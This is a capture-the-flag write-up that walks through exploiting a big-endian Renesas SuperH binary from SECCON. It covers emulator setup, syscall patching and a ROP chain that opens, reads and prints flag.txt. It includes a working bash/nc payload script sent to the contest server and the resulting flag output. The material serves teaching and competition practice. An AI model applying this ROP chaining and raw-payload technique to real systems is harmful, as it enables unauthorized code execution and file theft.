As usual, when CTF tasks are marked with the exploitation tag, a binary file is made available and contestants are instructed to connect to a specific port on a specific IP in order to solve the challenge.
Executing the file command on the provided binary gives the following output:
$ file passcheck-sh
passcheck-sh: ELF 32-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
If you are as old as I am :), then maybe you remember this Japanese company under name Hitachi, which developed its own CPU core called SuperH (SH). This is it; the company at some point sold the IP rights to Renesas, and we call this – now somewhat forgotten CPU architecture – Renesas SH. By the way, the predecessor of this CPU – SH-2 – was used as main CPU in some Sega consoles back in times.
Well, after a quick session with a search engine I managed to find both big- end little-endian SH emulators for Linux (in the qemu package), but further research revealed that the operating systems (user-lands) come in the little-endian flavor only and we have a big-endian binary. Bummer!
Having a working OS image would be a real help. In such case I would be able to debug the thing, and tests various stages of the exploit developed. Unfortunately, creating even a stub of OS (bash and friends) would take quite a lot of time, so I decided to simply use the little-endian flavor. And it turned out to be quite useful later on.
While booting the emulator, I opened the file in IDA-Pro, and took a look at the resulting disassembly stream. It was rather straightforward. I was able to rather quickly understand the meaning of basic assembler instructions (mov, jsr, rts, sts, lds, trapa, nop) and how the registers are utilized (e.g. r15 as SP). The only peculiar thing was the syscall execution procedure (function names are completely mine).
.text:00004054 syscall_write:.text:00004054 sts.l pr, @-r15 .text:00004056 mov r4, r1 .text:00004058 mov r5, r2 .text:0000405A mov r6, r7 .text:0000405C mov #4, r4 .text:0000405E mov r1, r5 .text:00004060 mov.l #maybe_syscall, r0 .text:00004062 jsr @r0 ; maybe_syscall .text:00004064 mov r2, r6 .text:00004066 lds.l @r15+, pr .text:00004068 rts .text:0000406A nop
…
.text:0000401C maybe_syscall:.text:0000401C.text:0000401C trapa #h’22 .text:0000401E rts
As you can see, the syscall value is passed in r4, while by reading the Linux kernel I found out that it should be r3. Also, arguments to syscalls are passed in r5, r6, r7 while in the vanilla Linux kernel it’s r3 (syscall number), r4 (1st argument)… and so on.
maybe_syscall:
mov r4, r3
mov r5, r4
mov r6, r5
mov r7, r6
trapa #0x17
rts
Also, addresses of our binary will differ from the original one due to this modification so I didn’t care about moving the .text secion to the address of 0x4000.
Ok, now we have a working binary, but it’s incompatible (endianess). Still, it’s very useful for testing. Typing a lot of ASCII characters (a typical first test) as a response to Input password: resulted in
Update: Later that day I realized that I could have used ‘strace -i -e trace=none ./<binary>’ to confirm that IP is set to 0x41414141.
So, were they using a real SuperH machine (Linux on Sega:)? Interesting. At this point the only one thing I could think of was, wait for it, ROP! 🙂
.text:00004254 lds.l @r15+, r8 (due to delayed branching
it will be executed as well!!!)
That’s real gem! We can basically populate stack with data, and the code will simply load registers and call whatever function we like e.g. maybe_syscall (i.e. it will call any address, but we can redirect it to the maybe_syscall function by setting PR to a correct value).
There’s only one thing that needs to be changed here though. If we did what I just described the maybe_syscall function will loop itself forever, because under SuperH the last return address is stored in the PR register and not on the execution stack. Therefore I had to jump trough a jsr/rts stub, which can be found here:
To sum up our ROP: 0x00004028 (load registers), 0x00004028 (change PR register to a controlled value by doing jsr maybe_syscall, and return back to our gadget), 0x0000401C (our syscall invocation). The sequence of syscalls that I wanted to execute was:
- syscall_nr: 5
- arg_1 = ptr to “flag.txt” (provided by me on the stack)
- arg_2 = 0 (O_RDONLY)
- arg_3 = irrelevant (not used with O_RDONLY)
- syscall_nr: 3
- arg_1 = resulting file-descriptor (unknown to us at this point)
- arg_2 = ptr to a free stack buffer (we can simply overwrite the “flag.txt” string here) – 0x00FFB02C
- arg_3 = some numeric value, like 20 or 30 or so (number of bytes to read, roughly equal or greater than the expected flag size)
- syscall_nr: 4
- arg_1 = 1 (stdout)
- arg_2 = ptr to our buffer – in our case: 0x00FFB02C
- arg_3 = some low-number value (number of bytes to write)
while [ 1 ]; do
for x in `seq 2 20`; do
A=`printf “%02x” $x`;
echo == $A === >>/tmp/haslo;
{ echo -ne “\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xB0\x2C\x00\x00\x00\x05”;
echo -ne “\x00\x00\x40\x28”;
echo -ne “1111”;
echo -ne “\x00\x00\x42\x4C”;
echo -ne “\x00\x00\x00\x40\x00\xFF\xB0\x2C\x00\x00\x00\x$A\x00\x00\x00\x03”;
echo -ne “\x00\x00\x40\x28”;
echo -ne “1111”;
echo -ne “\x00\x00\x42\x4C”;
echo -ne “\x00\x00\x03\x00\x00\xFF\xB0\x2C\x00\x00\x00\x01\x00\x00\x00\x04”;
echo -ne “\x00\x00\x40\x28”;
echo -ne “flag.txt\x00”;
echo; } | nc -v micro.pwn.seccon.jp 10000 >>/tmp/haslo;
done
done
== 02 ===
Input password: flag.txt
== 03 ===
Input password: flag.txt
== 04 ===
Input password: flag.txt
== 05 ===
Input password: flag.txt
== 06 ===
Input password: SECCON{CakeOfBeanCurd}
== 07 ===
Input password: flag.txt
